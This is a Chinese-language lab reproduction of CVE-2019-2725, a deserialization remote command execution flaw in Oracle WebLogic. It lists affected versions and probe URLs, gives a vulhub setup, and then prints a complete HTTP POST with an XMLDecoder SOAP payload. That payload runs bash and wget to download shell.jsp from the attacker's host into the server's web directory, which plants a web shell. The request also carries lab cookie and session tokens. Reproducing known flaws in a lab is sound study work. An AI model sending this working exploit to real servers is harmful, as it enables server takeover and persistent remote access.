描述

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。

影响版本

weblogic 10.x
weblogic 12.1.3

漏洞检测

访问以下目录，若返回状态码200则说明该漏洞。

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

1	http://192.168.3.73:7001/_async/AsyncResponseService

环境搭建

这里使用vulnhub环境中的CVE-2017-10271来复现该漏洞。

#进入漏洞目录
cd vulhub/weblogic/CVE-2017-10271
#开启环境
docker-compose up -d

查看环境

1	http://192.168.3.50:7001/

复现过程

kali开启http服务提供下载shell.jsp

bp抓包payload

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.3.73:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM1MjA5NjEyLCJlbWFpbCI6IiJ9.cTSjCtV8thEmdfyP49gCsHldvX6KAAMjGQ209TCg0K8; JSESSIONID=050455BA3767B12181C6AA3E09AA3064
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 857
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.3.61:8000/shell.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>